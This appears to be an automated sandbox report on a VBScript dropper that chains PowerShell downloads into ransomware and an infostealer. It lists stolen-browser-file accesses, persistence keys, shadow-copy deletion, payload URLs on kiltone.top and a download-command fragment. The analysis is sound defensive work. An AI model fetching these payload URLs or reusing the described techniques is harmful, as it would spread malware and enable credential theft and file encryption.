Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\01e461df-d85d-4561-a852-205de2d67f32
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-wal
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\session-state.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690340.2824c836-2afd-4a95-940b-ed2b991ba55d.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695614.edd11145-a3b3-4ebf-ba7b-14b7ec08f19f.main.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7f0194d6-62d6-4174-a7ed-55ebc13aacb4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addons.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\2b167346-5f76-4c00-8f97-19cee0df0fba
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\e6e57dc0-d354-4d4a-8374-548b8e2bcc5d
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695562.2c8e5eea-375d-48a9-ad4c-be583ff1215d.health.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\db\data.safe.bin
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7917ce80-55b3-46ca-99c2-70537bbb959a
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491690347.6786f292-c1be-4996-99cd-77aa855c1844.first-shutdown.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\58b46d46-b146-420f-81af-5b32c19a8aef
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\archived\2023-10\1696491695606.ff032c8b-05e6-43c9-9e84-732dbe7aca27.event.jsonlz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\background-update
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\372e391e-787d-40e8-8beb-44106d6c22f4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\758d1c71-5fff-4193-9977-7a57afa68bf7
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\addonStartup.json.lz4
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\state.json
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\3b7fc3d4-90d3-48a3-834f-e61d315e9a5c
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\AlternateServices.txt
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\events\events
Source: C:\Users\user\AppData\Local\Temp\eryy65ty.exeFile opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\datareporting\glean\pending_pings\7a27ea16-e265-40c0-823c-0125abf7d855
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity Information221
Scripting
Valid Accounts21
Windows Management Instrumentation
221
Scripting
1
DLL Side-Loading
1
Disable or Modify Tools
1
OS Credential Dumping
3
File and Directory Discovery
Remote Services1
Archive Collected Data
3
Ingress Tool Transfer
Exfiltration Over Other Network Medium1
Data Encrypted for Impact
CredentialsDomainsDefault Accounts1
Exploitation for Client Execution
1
DLL Side-Loading
11
Process Injection
1
Obfuscated Files or Information
LSASS Memory33
System Information Discovery
Remote Desktop Protocol1
Browser Session Hijacking
1
Encrypted Channel
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain Accounts3
PowerShell
21
Registry Run Keys / Startup Folder
21
Registry Run Keys / Startup Folder
1
Direct Volume Access
Security Account Manager241
Security Software Discovery
SMB/Windows Admin Shares1
Data from Local System
3
Non-Application Layer Protocol
Automated ExfiltrationData Encrypted for Impact
Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
DLL Side-Loading
NTDS1
Process Discovery
Distributed Component Object ModelInput Capture4
Application Layer Protocol
Traffic DuplicationData Destruction
Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
File Deletion
LSA Secrets61
Virtualization/Sandbox Evasion
SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts21
Masquerading
Cached Domain Credentials1
Application Window Discovery
VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
Modify Registry
DCSync1
Remote System Discovery
Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job61
Virtualization/Sandbox Evasion
Proc Filesystem1
System Network Configuration Discovery
Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt11
Process Injection
/etc/passwd and /etc/shadowNetwork SniffingDirect Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron1
Rundll32
Network SniffingNetwork Service DiscoveryShared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1579449 Sample: NOTIFICATION_OF_DEPENDANTS_1.vbs Startdate: 22/12/2024 Architecture: WINDOWS Score: 100 158 kiltone.top 2->158 182 Multi AV Scanner detection for dropped file 2->182 184 Sigma detected: Delete shadow copy via WMIC 2->184 186 Sigma detected: New RUN Key Pointing to Suspicious Folder 2->186 188 10 other signatures 2->188 14 wscript.exe 1 2->14         started        17 eryy65ty.exe 2->17         started        20 eryy65ty.exe 2->20         started        22 2 other processes 2->22 signatures3 process4 dnsIp5 228 VBScript performs obfuscated calls to suspicious functions 14->228 230 Wscript starts Powershell (via cmd or directly) 14->230 232 Windows Scripting host queries suspicious COM object (likely to drop second stage) 14->232 238 2 other signatures 14->238 25 cmd.exe 1 14->25         started        27 cmd.exe 1 14->27         started        30 powershell.exe 23 14->30         started        33 cmd.exe 1 14->33         started        114 C:\Users\user\ntuser.dat.LOG2.yVIk, data 17->114 dropped 116 C:\Users\user\ntuser.dat.LOG1.qsaN, data 17->116 dropped 118 C:\Users\user118TUSER.DAT.puvR, data 17->118 dropped 234 Deletes shadow drive data (may be related to ransomware) 17->234 236 Writes data at the end of the disk (often used by bootkits to hide malicious code) 17->236 35 cmd.exe 17->35         started        37 WMIC.exe 17->37         started        39 WMIC.exe 17->39         started        41 cmd.exe 20->41         started        43 2 other processes 20->43 164 127.0.0.1 unknown unknown 22->164 file6 signatures7 process8 file9 51 2 other processes 25->51 216 Suspicious powershell command line found 27->216 218 Wscript starts Powershell (via cmd or directly) 27->218 53 2 other processes 27->53 148 C:\...\__PSScriptPolicyTest_dd4cmrln.ljv.ps1, ASCII 30->148 dropped 150 C:\...\__PSScriptPolicyTest_cmijsyeu.ejv.ps1, ASCII 30->150 dropped 152 C:\...\__PSScriptPolicyTest_aakjs4su.ynx.psm1, ASCII 30->152 dropped 156 2 other malicious files 30->156 dropped 220 Writes data at the end of the disk (often used by bootkits to hide malicious code) 30->220 222 Loading BitLocker PowerShell Module 30->222 224 Powershell drops PE file 30->224 45 conhost.exe 30->45         started        57 2 other processes 33->57 226 Uses ping.exe to sleep 35->226 60 2 other processes 35->60 47 conhost.exe 37->47         started        49 conhost.exe 39->49         started        62 2 other processes 41->62 154 \Device\ConDrv, ASCII 43->154 dropped 64 2 other processes 43->64 signatures10 process11 dnsIp12 66 rundll32.exe 51->66         started        120 C:\...\__PSScriptPolicyTest_y25lwppa.tsg.psm1, ASCII 53->120 dropped 122 C:\...\__PSScriptPolicyTest_ce5tmog3.w5r.ps1, ASCII 53->122 dropped 68 chrome.exe 13 53->68         started        166 kiltone.top 45.125.67.168, 443, 49713, 49756 TELE-ASTeleAsiaLimitedHK Hong Kong 57->166 124 C:\Users\user\AppData\Local\...\fjeljies.cpl, PE32 57->124 dropped 126 C:\...\__PSScriptPolicyTest_zdqsw1gs.ytr.ps1, ASCII 57->126 dropped 128 C:\...\__PSScriptPolicyTest_muq24lzp.1ro.psm1, ASCII 57->128 dropped 198 Writes data at the end of the disk (often used by bootkits to hide malicious code) 57->198 file13 signatures14 process15 dnsIp16 72 rundll32.exe 66->72         started        160 192.168.2.7, 123, 138, 443 unknown unknown 68->160 162 239.255.255.250 unknown Reserved 68->162 194 Suspicious execution chain found 68->194 196 Adds a directory exclusion to Windows Defender 68->196 75 chrome.exe 68->75         started        signatures17 process18 dnsIp19 214 Adds a directory exclusion to Windows Defender 72->214 78 cmd.exe 72->78         started        80 cmd.exe 72->80         started        83 cmd.exe 72->83         started        168 d12y248af9ueom.cloudfront.net 18.161.69.16, 443, 49705, 49722 MIT-GATEWAYSUS United States 75->168 170 www.google.com 172.217.19.228, 443, 49724, 49868 GOOGLEUS United States 75->170 172 www.oldmutual.co.za 75->172 signatures20 process21 signatures22 85 eryy65ty.exe 78->85         started        89 conhost.exe 78->89         started        174 Suspicious powershell command line found 80->174 176 Wscript starts Powershell (via cmd or directly) 80->176 178 Uses ping.exe to sleep 80->178 180 2 other signatures 80->180 91 powershell.exe 80->91         started        93 conhost.exe 80->93         started        95 powershell.exe 83->95         started        97 conhost.exe 83->97         started        process23 file24 130 C:\Users\user\...\AQRFEVRTGL.png.unVz (copy), COM 85->130 dropped 132 C:\Users\user\Desktop\...\AQRFEVRTGL.png, COM 85->132 dropped 134 C:\Users\user\...\handlers.json.IXZn (copy), COM 85->134 dropped 144 427 other malicious files 85->144 dropped 200 Multi AV Scanner detection for dropped file 85->200 202 Deletes shadow drive data (may be related to ransomware) 85->202 204 May encrypt documents and pictures (Ransomware) 85->204 212 4 other signatures 85->212 99 cmd.exe 85->99         started        102 WMIC.exe 85->102         started        104 WMIC.exe 85->104         started        136 C:\...\__PSScriptPolicyTest_wt0cmllf.f1b.ps1, ASCII 91->136 dropped 146 3 other malicious files 91->146 dropped 206 Writes data at the end of the disk (often used by bootkits to hide malicious code) 91->206 208 Loading BitLocker PowerShell Module 91->208 210 Powershell drops PE file 91->210 138 C:\Users\user\AppData\Local\...\eryy65ty.exe, PE32 95->138 dropped 140 C:\...\__PSScriptPolicyTest_tmgfecbn.m42.psm1, ASCII 95->140 dropped 142 C:\...\__PSScriptPolicyTest_c5gy5d2y.w0s.ps1, ASCII 95->142 dropped signatures25 process26 signatures27 190 Uses ping.exe to sleep 99->190 106 conhost.exe 99->106         started        108 PING.EXE 99->108         started        192 Writes data at the end of the disk (often used by bootkits to hide malicious code) 102->192 110 conhost.exe 102->110         started        112 conhost.exe 104->112         started        process28

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
NOTIFICATION_OF_DEPENDANTS_1.vbs11%ReversingLabsScript-WScript.Packed.Generic
SourceDetectionScannerLabelLink
C:\Users\user\AppData\Local\Temp\eryy65ty.exe87%ReversingLabsWin32.Trojan.Nekark
C:\Users\user\AppData\Local\Temp\fjeljies.cpl50%ReversingLabsWin32.Infostealer.Tinba
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
d12y248af9ueom.cloudfront.net
18.161.69.16
truefalse
    unknown
    www.google.com
    172.217.19.228
    truefalse
      high
      kiltone.top
      45.125.67.168
      truefalse
        high
        www.oldmutual.co.za
        unknown
        unknownfalse
          high
          NameMaliciousAntivirus DetectionReputation
          https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b4434c/Superfund_Beneficiary_Nomination_form.pdftrue
            unknown
            https://www.oldmutual.co.za/favicon.icofalse
              unknown
              https://kiltone.top/stelin/Gosjeufon.cpltrue
                unknown
                https://kiltone.top/stelin/rwcla.cpltrue
                  unknown
                  file:///C:/Users/user/Downloads/downloaded.pdffalse
                    high
                    NameSourceMaliciousAntivirus DetectionReputation
                    https://www.avito.ru/3870112724rsegmnoittet-es.sqlite.34.drfalse
                      high
                      https://kiltone.top/stewscript.exe, 00000002.00000003.1408309940.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.1410315754.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000003.1408416479.000002021BB6E000.00000004.00000020.00020000.00000000.sdmptrue
                        unknown
                        https://digify.com/a/#/access/loginrundll32.exe, 00000017.00000002.1936554638.00000000007EA000.00000004.00000020.00020000.00000000.sdmp, fjeljies.cpl.16.drfalse
                          high
                          https://www.ctrip.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                            high
                            https://www.leboncoin.fr/3870112724rsegmnoittet-es.sqlite.34.drfalse
                              high
                              https://kiltone.top/stelin/Gosjeufon.cpl-Outfile$env:tmpcmd.exe, 0000001D.00000002.1562114601.00000000036B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                unknown
                                https://account.bellmedia.c3870112724rsegmnoittet-es.sqlite.34.drfalse
                                  high
                                  https://weibo.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                    high
                                    https://login.microsoftonline.com3870112724rsegmnoittet-es.sqlite.34.drfalse
                                      high
                                      https://www.oldmutual.co.za/v3/assets/blt0554f48052bb4620/blt8b52803ba23b252a/66742ed3b2cbc14f42b443wscript.exe, 00000002.00000003.1408416479.000002021BB6E000.00000004.00000020.00020000.00000000.sdmp, NOTIFICATION_OF_DEPENDANTS_1.vbstrue
                                        unknown
                                        https://www.ifeng.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                          high
                                          https://www.zhihu.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                            high
                                            http://x1.c.lencr.org/0cert9.db.34.drfalse
                                              high
                                              http://x1.i.lencr.org/0cert9.db.34.drfalse
                                                high
                                                https://www.msn.com3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                  high
                                                  https://www.oldmutual.co.za/v3/assets/blt0wscript.exe, wscript.exe, 00000002.00000002.1410520430.000002021BDA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.1410601508.000002021DA70000.00000004.00000020.00020000.00000000.sdmptrue
                                                    unknown
                                                    https://www.reddit.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                      high
                                                      https://www.amazon.ca/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                        high
                                                        https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLKplaces.sqlite.34.drfalse
                                                          high
                                                          https://www.ebay.co.uk/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                            high
                                                            https://github.com/mozilla/webcompat-reporterextensions.json.34.drfalse
                                                              high
                                                              https://www.amazon.co.uk/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                high
                                                                https://www.ebay.de/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                  high
                                                                  https://screenshots.firefox.com/extensions.json.34.drfalse
                                                                    high
                                                                    https://www.amazon.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                      high
                                                                      https://www.google.com/search?client=firefox-b-d&q=2824c836-2afd-4a95-940b-ed2b991ba55d.34.dr, ff032c8b-05e6-43c9-9e84-732dbe7aca27.34.dr, 3be89113-af2b-4b48-9c47-40ac1156f7a2.34.drfalse
                                                                        high
                                                                        https://g.live.com/odclientsettings/ProdV21C:svchost.exe, 00000011.00000003.1352579233.000001428BDD0000.00000004.00000800.00020000.00000000.sdmp, edb.log.17.dr, qmgr.db.17.drfalse
                                                                          high
                                                                          http://crl.rootca1.amazontrust.com/rootca1.crl0cert9.db.34.drfalse
                                                                            high
                                                                            http://crl.ver)svchost.exe, 00000011.00000002.2579105714.000001428C000000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              high
                                                                              http://ocsp.rootca1.amazontrust.com0:cert9.db.34.drfalse
                                                                                high
                                                                                https://www.wykop.pl/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                  high
                                                                                  https://twitter.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                    high
                                                                                    https://digify.com/a/#/access/logincmdfjeljies.cpl.16.drfalse
                                                                                      high
                                                                                      https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-brplaces.sqlite.34.drfalse
                                                                                        high
                                                                                        https://www.olx.pl/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                          high
                                                                                          https://www.youtube.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                            high
                                                                                            https://allegro.pl/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                              high
                                                                                              https://support.mozilla.org/products/firefoxfavicons.sqlite.34.drfalse
                                                                                                high
                                                                                                https://MD8.mozilla.org/1/m3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                  high
                                                                                                  https://www.bbc.co.uk/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                    high
                                                                                                    https://g.live.com/odclientsettings/Prod1C:qmgr.db.17.drfalse
                                                                                                      high
                                                                                                      https://bugzilla.mo3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                        high
                                                                                                        https://kiltone.top/stelin/rwcla.wscript.exe, 00000002.00000002.1410520430.000002021BDA5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000002.00000002.1410601508.000002021DA70000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                          unknown
                                                                                                          https://www.amazon.fr/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                            high
                                                                                                            http://crt.rootca1.amazontrust.com/rootca1.cer0?cert9.db.34.drfalse
                                                                                                              high
                                                                                                              https://www.google.com/complete/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                                high
                                                                                                                https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9eprefs.js.34.drfalse
                                                                                                                  high
                                                                                                                  https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpgprefs.js.34.drfalse
                                                                                                                    high
                                                                                                                    https://support.mozilla.orgplaces.sqlite.34.drfalse
                                                                                                                      high
                                                                                                                      https://www.google.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                                        high
                                                                                                                        https://www.iqiyi.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                                          high
                                                                                                                          https://www.amazon.de/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                                            high
                                                                                                                            https://www.baidu.com/3870112724rsegmnoittet-es.sqlite.34.drfalse
                                                                                                                              high
                                                                                                                              • No. of IPs < 25%
                                                                                                                              • 25% < No. of IPs < 50%
                                                                                                                              • 50% < No. of IPs < 75%
                                                                                                                              • 75% < No. of IPs
                                                                                                                              IPDomainCountryFlagASNASN NameMalicious
                                                                                                                              172.217.19.228
                                                                                                                              www.google.comUnited States
                                                                                                                              15169GOOGLEUSfalse
                                                                                                                              45.125.67.168
                                                                                                                              kiltone.topHong Kong
                                                                                                                              133398TELE-ASTeleAsiaLimitedHKfalse
                                                                                                                              18.161.69.16
                                                                                                                              d12y248af9ueom.cloudfront.netUnited States
                                                                                                                              3MIT-GATEWAYSUSfalse
                                                                                                                              239.255.255.250
                                                                                                                              unknownReserved
                                                                                                                              unknownunknownfalse
                                                                                                                              IP
                                                                                                                              192.168.2.7
                                                                                                                              127.0.0.1
                                                                                                                              Joe Sandbox version:41.0.0 Charoite
                                                                                                                              Analysis ID:1579449
                                                                                                                              Start date and time:2024-12-22 12:14:11 +01:00
                                                                                                                              Joe Sandbox product:CloudBasic
                                                                                                                              Overall analysis duration:0h 8m 52s
                                                                                                                              Hypervisor based Inspection enabled:false
                                                                                                                              Report type:full
                                                                                                                              Cookbook file name:default.jbs
                                                                                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                              Number of analysed new started processes analysed:71
                                                                                                                              Number of new started drivers analysed:0
                                                                                                                              Number of existing processes analysed:0
                                                                                                                              Number of existing drivers analysed:0
                                                                                                                              Number of injected processes analysed:0
                                                                                                                              Technologies:
                                                                                                                              • HCA enabled
                                                                                                                              • EGA enabled
                                                                                                                              • AMSI enabled
                                                                                                                              Analysis Mode:default
                                                                                                                              Analysis stop reason:Timeout
                                                                                                                              Sample name:NOTIFICATION_OF_DEPENDANTS_1.vbs
                                                                                                                              Detection:MAL
                                                                                                                              Classification:mal100.rans.phis.troj.spyw.expl.evad.winVBS@98/844@5/6
                                                                                                                              EGA Information:Failed
                                                                                                                              HCA Information:
                                                                                                                              • Successful, ratio: 100%
                                                                                                                              • Number of executed functions: 0
                                                                                                                              • Number of non-executed functions: 0
                                                                                                                              Cookbook Comments:
                                                                                                                              • Found application associated with file extension: .vbs
                                                                                                                              • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, consent.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
                                                                                                                              • Excluded IPs from analysis (whitelisted): 142.250.181.99, 172.217.17.78, 64.233.164.84, 172.217.17.46, 23.218.208.109, 199.232.214.172, 172.217.17.35, 34.104.35.123, 142.250.181.46, 13.107.246.63, 4.245.163.56, 52.149.20.212
                                                                                                                              • Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, time.windows.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, redirector.gvt1.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
                                                                                                                              • Not all processes where analyzed, report is missing behavior information
                                                                                                                              • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                              • Report size getting too big, too many NtCreateFile calls found.
                                                                                                                              • Report size getting too big, too many NtCreateKey calls found.
                                                                                                                              • Report size getting too big, too many NtOpenFile calls found.
                                                                                                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                              • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                              • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                                                                                              • Report size getting too big, too many NtReadFile calls found.
                                                                                                                              • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                              • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                              TimeTypeDescription
                                                                                                                              06:15:14API Interceptor114x Sleep call for process: powershell.exe modified
                                                                                                                              06:15:19API Interceptor2x Sleep call for process: svchost.exe modified
                                                                                                                              07:43:31API Interceptor1x Sleep call for process: rundll32.exe modified
                                                                                                                              07:43:37API Interceptor6x Sleep call for process: WMIC.exe modified
                                                                                                                              13:43:39AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run XPSUDTARW C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe
                                                                                                                              13:43:47AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run XPSUDTARW C:\Users\user~1\AppData\Local\Temp\eryy65ty.exe
                                                                                                                              13:44:01AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Decryptfiles.txt
                                                                                                                              MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                              18.161.69.16NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                239.255.255.250https://cpanel05wh.bkk1.cloud.z.com/~cp197720/open/DD/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                                                                                                                    7394231845.htmlGet hashmaliciousUnknownBrowse
                                                                                                                                      file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                        file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                          https://gogvo.com/redir.php?url=https://atratejarat.com/wp-content/red/DhmgvVGet hashmaliciousUnknownBrowse
                                                                                                                                            file.exeGet hashmaliciousLummaC, Amadey, LummaC Stealer, Stealc, VidarBrowse
                                                                                                                                              https://shibe-rium.net/Get hashmaliciousUnknownBrowse
                                                                                                                                                45.125.67.168NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                  NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                    TD2HjoogPx.dllGet hashmaliciousUnknownBrowse
                                                                                                                                                      NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                        MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                        d12y248af9ueom.cloudfront.netNOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 18.161.69.16
                                                                                                                                                        NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 108.158.75.80
                                                                                                                                                        NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 108.158.75.92
                                                                                                                                                        NOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 108.158.75.92
                                                                                                                                                        https://ury.io/aVPeBaGet hashmaliciousUnknownBrowse
                                                                                                                                                        • 52.222.214.74
                                                                                                                                                        kiltone.topNOTIFICATION_OF_DEPENDANTS.vbsGet hashmaliciousUnknownBrowse
